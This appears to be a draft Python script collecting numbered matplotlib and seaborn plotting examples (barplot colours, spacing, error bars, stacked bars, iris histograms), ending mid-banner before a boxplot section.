\r\n#\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# #3 Control color of barplot\r\n \r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi=96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Choose the height of the bars\r\nheight = [3, 12, 5, 18, 45]\r\n\r\n# Choose the names of the bars\r\nbars = ('A', 'B', 'C', 'D', 'E')\r\n\r\ny_pos = np.arange(len(bars))\r\n\r\n\r\n# Choose color using RGB:\r\nplt.bar(y_pos, height, color=(0.2, 0.4, 0.6, 0.6))\r\nplt.xticks(y_pos, bars)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#3_control_color_barplot1.png')\r\n\r\nplt.show()\r\n\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Choose the color for each bar\r\nplt.bar(y_pos, height, color=['black', 'red', 'green', 'blue', 'cyan'])\r\nplt.xticks(y_pos, bars)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#3_control_color_barplot2.png')\r\n\r\nplt.show()\r\n\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Change edge color\r\nplt.bar(y_pos, height, color=(0.1, 0.1, 0.1, 0.1), edgecolor='blue')\r\nplt.xticks(y_pos, bars)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#3_control_color_barplot3.png')\r\n\r\nplt.show()\r\n\r\nmy_dpi = 96\r\nplt.figure(figsize=(480 / my_dpi, 480 / my_dpi), dpi=my_dpi)\r\n\r\n# Change width of edgecolor\r\nplt.bar(y_pos, height, color=(0.1, 0.1, 0.1, 0.1), edgecolor='blue', linewidth = '3')\r\nplt.xticks(y_pos, bars)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#3_control_color_barplot4.png')\r\nplt.show()\r\n\r\n\r\n \r\n \r\n \r\n \r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #4 Add title and axe labels\r\n \r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi=96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Choose the height of the bars\r\nheight = [3, 12, 5, 18, 45]\r\n\r\n# Choose the names of the bars\r\nbars = ('A', 'B', 'C', 'D', 'E')\r\n\r\n\r\ny_pos = np.arange(len(bars))\r\n\r\n# Create bars and choose\r\nplt.bar(y_pos, height, color = (0.5,0.1,0.5,0.6))\r\n\r\nplt.title('My title')\r\nplt.xlabel('categories')\r\nplt.ylabel('values')\r\n\r\nplt.ylim(0,60)\r\n\r\n# Create names\r\nplt.xticks(y_pos, bars)\r\n\r\nplt.savefig('#4_add_title_and_axe_labels.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #5 Custom the space between bars, and their width\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi=96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Choose the height of the bars\r\nheight = [3, 12, 5, 18, 45]\r\n\r\n# Choose the names of the bars\r\nbars = ('A', 'B', 'C', 'D', 'E')\r\n\r\n# Choose the position of each barplots on the x-axis (space=1,4,3,1)\r\ny_pos = [0,1,5,8,9]\r\n\r\n# Create bars\r\nplt.bar(y_pos, height)\r\n\r\n# Create names on the x-axis\r\nplt.xticks(y_pos, bars)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#5_custom_space_between_bars.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Choose the width of each bar\r\nwidth = [0.1,0.2,3,1.5,0.3]\r\ny_pos = [0,0.3,2,4.5,5.5]\r\nplt.bar(y_pos, height, width=width)\r\nplt.xticks(y_pos, bars)\r\nplt.savefig('#5_custom_width_of_bars.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #6 Change texture of barplots\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi = 96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480 / my_dpi, 480 / my_dpi), dpi=my_dpi)\r\n\r\n# Choose the height of the bars\r\nheight = [2, 5, 4, 6]\r\n\r\n# Choose the names of the bars\r\nbars = ('A', 'B', 'C', 'D')\r\n\r\n# Choose the angle and density of hatch\r\npatterns = ['-', '///', '|||', '//////']\r\n\r\ny_pos = np.arange(len(patterns))\r\n\r\n# Create bars\r\nfor i in range(len(patterns)):\r\n    plt.bar(i, height[i], hatch=patterns[i], color='pink', edgecolor='black')\r\n\r\n# Create names on the x-axis\r\nplt.xticks(y_pos, bars)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#6_change_texture.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #7 Custom Barplot Layout\r\n\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi=96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Choose the height of the bars\r\nheight = [3, 12, 5, 18, 45]\r\n\r\n# Choose the names of the bars\r\nbars = ('group1', 'group2', 'group3', 'group4', 'group5')\r\n\r\ny_pos = np.arange(len(bars))\r\n\r\n# Create bars\r\nplt.bar(y_pos, height)\r\n\r\n# Create names on the x-axis\r\nplt.xticks(y_pos, bars, color='orange')\r\nplt.yticks(color='orange')\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#7_custom_label.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\nmy_dpi=96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\nbars = ('A','B','C','D','E')\r\n\r\n# Create bars\r\nplt.bar(y_pos, height)\r\n\r\n# Create names on the x-axis\r\nplt.xticks(y_pos, bars)\r\nplt.xlabel('category', fontweight='bold', color = 'orange', fontsize='18')\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#7_custom_axis_name.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\nmy_dpi=96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\nbars = (\"very long group name 1\",\"very long group name 2\",\"very long group name 3\",\"very long group name 4\",\"very long group name 5\")\r\n\r\n# Create bars\r\nplt.bar(y_pos, height)\r\n\r\n# Rotation of the bars names\r\nplt.xticks(y_pos, bars, rotation=90)\r\n\r\n# Custom the subplot layout\r\nplt.subplots_adjust(bottom=0.4, top=0.99)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#7_increase_margin.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #8 Confidence Interval on barplot\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi = 96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480 / my_dpi, 480 / my_dpi), dpi=my_dpi)\r\n\r\nbarWidth = 0.3\r\n\r\n# Choose the height of the blue bars\r\nbars1 = [10, 9, 2]\r\n\r\n# Choose the height of the cyan bars\r\nbars2 = [10.8, 9.5, 4.5]\r\n\r\n# Choose the height of the error bars (bars1)\r\nyer1 = [0.5, 0.4, 0.5]\r\n\r\n# Choose the height of the error bars (bars2)\r\nyer2 = [1, 0.7, 1]\r\n\r\nr1 = np.arange(len(bars1))\r\nr2 = [x + barWidth for x in r1]\r\n\r\n# Create blue bars\r\nplt.bar(r1, bars1, width = barWidth, color = 'blue', edgecolor = 'black', yerr=yer1, capsize=7, label='poacee')\r\n\r\n# Create cyan bars\r\nplt.bar(r2, bars2, width = barWidth, color = 'cyan', edgecolor = 'black', yerr=yer2, capsize=7, label='sorgho')\r\n\r\nplt.xticks([r + barWidth for r in range(len(bars1))], ['cond_A', 'cond_B', 'cond_C'])\r\n\r\nplt.ylabel('height')\r\n\r\n# Create legend\r\nplt.legend()\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#8_confidence_interval.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #9 Plotting factors vs factors\r\n# --> Cannot publish witout the source.\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi = 96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nfig, ax1 = plt.subplots(figsize=(480 / my_dpi, 480 / my_dpi), dpi=my_dpi)\r\n\r\nax2 = ax1.twinx()\r\n\r\nlabels = \" A: Stars, White Dwarfs and Solar System\\n B: White Dwarf Binaries, Neutron Star Binaries, Cataclysmic Variables, ULXs and Black Holes\\n C: Supernovae, Supernova Remnants, Diffuse (galactic) Emission and Isolated Neutron Stars\\n D: Galaxies and Galactic Surveys\\n E: Active Galactic Nuclei, Quasars and BL-Lac Objects\\n F: Groups of Galaxies, Clusters of Galaxies and Superclusters\\n G: Cosmology, Extragalactic Deep Fields and Area Surveys\"\r\n\r\n# Custom the textBox (data coordinates: x y, text, style)\r\nplt.text(-2.7, -0.45, labels,  color='black', size=7,\r\n         bbox=dict(facecolor='none', edgecolor='black', boxstyle='round,pad=0.1'))\r\n\r\n# Height of green bars\r\nbars1 = [0.3, 0.05, 0.1, 0.15, 0.25, 0.05, 0.19]\r\n\r\n# Height of orange bars\r\nbars2 = [0.25, 0.55, 0.55, 0.25, 0.3, 0.4, 0.4]\r\n\r\n# Height of  blue bars\r\nbars3 = [0.45, 0.4, 0.35, 0.6, 0.45, 0.55, 0.41]\r\n\r\n# Height of bars1 + bars2\r\nbars = [0.55, 0.6, 0.65, 0.4, 0.55, 0.45, 0.59]\r\n\r\n# The position of the bars on the x-axis\r\nr = [0,1.6,3.2,4.1,6.9,9.9,11]\r\n\r\n# Height of the yticks\r\nytick = [0.10, 0.45, 0.80]\r\n\r\nbarWidth = [0.8,2,0.8,0.5,4.5,1,0.6]\r\n\r\nnames = ['A','B','C','D','E','F','G']\r\n\r\nname = ['A', 'B', 'C']\r\n\r\n# Create green bars\r\nplt.bar(r, bars1, color='#B3E2CD', width=barWidth, edgecolor='black')\r\n\r\n# Create orange bars\r\nplt.bar(r, bars2, bottom=bars1, color='#FDCDAC',width=barWidth, edgecolor='black')\r\n\r\n# Create blue bars\r\nplt.bar(r, bars3, bottom=bars, color='#CBD5E8',width=barWidth, edgecolor='black')\r\n\r\nplt.xticks(r, names)\r\n\r\nplt.yticks(ytick, name)\r\n\r\nplt.title(\"XMM AO7 accepted proposals\", fontweight='bold')\r\n\r\nax1.set_xlabel(\"Science Category\")\r\n\r\nplt.ylabel(\"Priority\")\r\n\r\nplt.subplots_adjust(bottom=0.33, top=0.95)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#9_plotting_factor_vs_factor.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #10 Barplot with number of observations\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi = 96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480 / my_dpi, 480 / my_dpi), dpi=my_dpi)\r\n\r\n# The width of the bars\r\nbarWidth = 0.9\r\n\r\n# Choose the height of the purple bars\r\nbars1 = [3, 3, 1]\r\n\r\n# Choose the height of the grey bars\r\nbars2 = [4, 2, 3]\r\n\r\n# Choose the height of the green bars\r\nbars3 = [4, 6, 7, 10, 4, 4]\r\n\r\n# Height of the bars (y)\r\nbars4 =  bars1 + bars2 + bars3\r\n\r\n# The position of the purple bars on the x-axis\r\nr1 = [1,5,9]\r\n\r\n# The position of the grey bars on the x-axis\r\nr2 = [2,6,10]\r\n\r\n# The position of the green bars on the x-axis\r\nr3 = [3,4,7,8,11,12]\r\n\r\n# The position of the bars on the x-axis (x)\r\nr4 = r1 + r2 + r3\r\n\r\n# Create purple bars\r\nplt.bar(r1, bars1, width = barWidth, color = (0.3,0.1,0.4,0.6), label='Alone')\r\n\r\n# Create grey bars\r\nplt.bar(r2, bars2, width = barWidth, color = (0.3,0.5,0.4,0.6), label='With Himself')\r\n\r\n# Create green bars\r\nplt.bar(r3, bars3, width = barWidth, color = (0.3,0.9,0.4,0.6), label='With other genotype')\r\n\r\n# Create legend\r\nplt.legend()\r\n\r\n# Text below each barplot with a rotation at 90\u00b0\r\nplt.xticks([r + barWidth for r in range(len(r4))], ['DD', 'with himself', 'with DC', 'with Silur', 'DC', 'with himself', 'with DD', 'with Silur', 'Silur', 'with himself', 'with DD', 'with DC'], rotation=90)\r\n\r\n# Create labels\r\nlabel = ['n = 6', 'n = 25', 'n = 13', 'n = 36', 'n = 30', 'n = 11', 'n = 16', 'n = 37', 'n = 14', 'n = 4', 'n = 31', 'n = 34']\r\n\r\n# Text on the top of each barplot\r\nfor i in range(len(r4)):\r\n    plt.text(x = r4[i]-0.5 , y = bars4[i]+0.1, s = label[i], size = 6)\r\n\r\n# Adjust the location of the figure\r\nplt.subplots_adjust(bottom= 0.2, top = 0.98)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#10_barplot_with_number_of_observations.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #11 - 12 - 13  Grouped and stacked barplot\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import rc\r\nimport pandas as pd\r\n\r\n# Choose the dot per inch\r\nmy_dpi = 96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480 / my_dpi, 480 / my_dpi), dpi=my_dpi)\r\n\r\n# y-axis in bold\r\nrc('font', weight='bold')\r\n\r\n# Height of brown bars\r\nbars1 = [12, 28, 1, 8, 22]\r\n\r\n# Height of green bars (middle)\r\nbars2 = [28, 7, 16, 4, 10]\r\n\r\n# Height of green bars (top)\r\nbars3 = [25, 3, 23, 25, 17]\r\n\r\n# Heights of bars1 + bars2\r\nbars = [40, 35, 17, 12, 32]\r\n\r\n# The position of the bars on the x-axis\r\nr = [0,1,2,3,4]\r\n\r\nnames = ['A','B','C','D','E']\r\n\r\nbarWidth = 1\r\n\r\n# Create brown bars\r\nplt.bar(r, bars1, color='#7f6d5f', edgecolor='white', width=barWidth)\r\n\r\n# Create green bars (middle)\r\nplt.bar(r, bars2, bottom=bars1, color='#557f2d', edgecolor='white', width=barWidth)\r\n\r\n# Create green bars (top)\r\nplt.bar(r, bars3, bottom=bars, color='#2d7f5e', edgecolor='white', width=barWidth)\r\n\r\nplt.xticks(r, names,  fontweight='bold')\r\n\r\nplt.xlabel(\"group\")\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#12_stacked_barplot.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\n\r\n# Choose the dot per inch\r\nmy_dpi = 96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480 / my_dpi, 480 / my_dpi), dpi=my_dpi)\r\n\r\nbarWidth = 0.25\r\n\r\n# Height of brown bars\r\nbars1 = [12, 30, 1, 8, 22]\r\n\r\n# Height of green bars (second)\r\nbars2 = [28, 6, 16, 5, 10]\r\n\r\n# Height of green bars (third)\r\nbars3 = [29, 3, 24, 25, 17]\r\n\r\nr1 = np.arange(len(bars1))\r\nr2 = [x + barWidth for x in r1]\r\nr3 = [x + barWidth for x in r2]\r\n\r\n# Create brown bars\r\nplt.bar(r1, bars1, color='#7f6d5f', width=barWidth, edgecolor='white', label='var1')\r\n\r\n# Create green bars (second)\r\nplt.bar(r2, bars2, color='#557f2d', width=barWidth, edgecolor='white', label='var2')\r\n\r\n# Create green bars (third)\r\nplt.bar(r3, bars3, color='#2d7f5e', width=barWidth, edgecolor='white', label='var3')\r\n\r\nplt.xlabel('group', fontweight='bold')\r\n\r\n# Add xticks on the middle of the group bars\r\nplt.xticks([r + barWidth for r in range(len(bars1))], ['A', 'B', 'C', 'D', 'E'])\r\n\r\n# Create legend\r\nplt.legend()\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#12_grouped_barplot.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\n\r\n# Choose the dot per inch\r\nmy_dpi = 96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480 / my_dpi, 480 / my_dpi), dpi=my_dpi)\r\n\r\n# The position of the bars on the x-axis\r\nr = [0,1,2,3,4]\r\n\r\nraw_data = {'greenBars': [20, 1.5, 7, 10, 5], 'orangeBars': [5, 15, 5, 10, 15],'blueBars': [2, 15, 18, 5, 10]}\r\n\r\ndf = pd.DataFrame(raw_data)\r\n\r\n# Create the total\r\ntotals = [i+j+k for i,j,k in zip(df['greenBars'], df['orangeBars'], df['blueBars'])]\r\n\r\n# Create the percentage\r\ngreenBars = [i / j * 100 for  i,j in zip(df['greenBars'], totals)]\r\n\r\n# Create the percentage\r\norangeBars = [i / j * 100 for  i,j in zip(df['orangeBars'], totals)]\r\n\r\n# Create the percentage\r\nblueBars = [i / j * 100 for  i,j in zip(df['blueBars'], totals)]\r\n\r\nbarWidth = 0.85\r\n\r\nnames = ('A','B','C','D','E')\r\n\r\n# Create green Bars\r\nplt.bar(r, greenBars, color='#b5ffb9', edgecolor='white', width=barWidth)\r\n\r\n# Create orange Bars\r\nplt.bar(r, orangeBars, bottom=greenBars, color='#f9bc86', edgecolor='white', width=barWidth)\r\n\r\n# Create blue Bars\r\nplt.bar(r, blueBars, bottom=[i+j for i,j in zip(greenBars, orangeBars)], color='#a3acff', edgecolor='white', width=barWidth)\r\n\r\nplt.xticks(r, names)\r\n\r\nplt.xlabel(\"group\")\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#12_stacked_percent_barplot.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #20 -> #30 HISTOGRAM SEABORN\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #20 Basic Histogram | Seaborn\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Make default histogram of sepal length\r\np1=sns.distplot( df[\"sepal_length\"] )\r\n#sns.plt.show()\r\n\r\n#save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#20_Basic_Histogram_seaborn1.png')\r\n\r\n# Note that you can control the number of bins \r\np2=sns.distplot( df[\"sepal_length\"], bins=20 )\r\n#sns.plt.show()\r\n\r\n#save \r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#20_Basic_Histogram_seaborn2.png')\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #21 Control Rug and Distribution | Seaborn\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Hist only\r\np1=sns.distplot( a=df[\"sepal_length\"], hist=True, kde=False, rug=False )\r\n#sns.plt.show()\r\n#save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#21_Display_Rug_and_distribution_on_hist1.png')\r\n\r\n# Hist + Rug + kernel density\r\np2=sns.distplot( a=df[\"sepal_length\"], hist=True, kde=True, rug=True )\r\n#sns.plt.show()\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#21_Display_Rug_and_distribution_on_hist2.png')\r\n\r\n# To change parameters of rug \r\np3=sns.distplot( a=df[\"sepal_length\"], rug=True,\r\n\trug_kws={\"color\": \"r\", \"alpha\":0.3, \"linewidth\": 2, \"height\":0.2 }\r\n\t)\r\n#sns.plt.show()\r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#21_Display_Rug_and_distribution_on_hist3.png')\r\n\t\r\n\t\r\n# To change parameters of density distribution\r\np4=sns.distplot( a=df[\"sepal_length\"], kde=True,\r\n\tkde_kws={\"color\": \"g\", \"alpha\":0.3, \"linewidth\": 5, \"shade\":True }\r\n\t)\r\n#sns.plt.show()\r\nfig = p4.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#21_Display_Rug_and_distribution_on_hist4.png')\r\n\t\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #22 Control Color of histogram | Seaborn\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Color of bars:\r\nsns.distplot( df[\"sepal_length\"] , color=\"peru\")\r\nsns.plt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #23 Vertical Histogram | Seaborn\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Vertical hist\r\np1=sns.distplot( df[\"sepal_length\"] , color=\"skyblue\", vertical=True)\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#23_Vertical_Histogram.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #24 Histogram with boxplot on top | Seaborn\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\ndf = sns.load_dataset('iris')\r\n\r\n# Choose the dot per inch\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Cut the window in 2 parts\r\nf, (ax_box, ax_hist) = plt.subplots(2, sharex=True, gridspec_kw={\"height_ratios\": (.15, .85)})\r\n\r\n# Add a graph in each part\r\nsns.boxplot(df[\"sepal_length\"], ax=ax_box)\r\nsns.distplot(df[\"sepal_length\"], ax=ax_hist)\r\nax_box.set(xlabel='')\r\n\r\n# Save\r\nplt.set_size_inches(4.8, 4.8)\r\nplt.savefig('PNG/#24_Histogram_with_boxplot_on_top.png')\r\n\r\n# -> Pas moyen de la sortir a la bonne taille mais tant pis...\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #25 Histograms of 2 variables | Seaborn\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\ndf = sns.load_dataset('iris')\r\n\r\n# Method 1: on the same Axis\r\np1=sns.distplot( df[\"sepal_length\"] , color=\"skyblue\", label=\"Sepal Length\")\r\np1=sns.distplot( df[\"sepal_width\"] , color=\"red\", label=\"Sepal Width\")\r\np1=sns.plt.legend()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#25_Histogram_of_several_variables1.png')\r\n\r\n\r\n# Method 2: using subplots\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\nf, axes = plt.subplots(2, 2, figsize=(7, 7), sharex=True)\r\nsns.distplot( df[\"sepal_length\"] , color=\"skyblue\", ax=axes[0, 0])\r\nsns.distplot( df[\"sepal_width\"] , color=\"olive\", ax=axes[0, 1])\r\nsns.distplot( df[\"petal_length\"] , color=\"gold\", ax=axes[1, 0])\r\nsns.distplot( df[\"petal_width\"] , color=\"teal\", ax=axes[1, 1])\r\n\r\nplt.savefig('PNG/#25_Histogram_of_several_variables2.png')\r\n\r\n# --> link vers page faceting pour plus de d\u00e9tail.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #26 Bad chart: control size of bins!\r\n\r\n# Import library and dataset\r\n# TODO\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Color of bars:\r\nsns.distplot( df[\"sepal_length\"] , color=\"peru\")\r\nsns.plt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #30 -> #40 BOXPLOT SEABORN\r\n 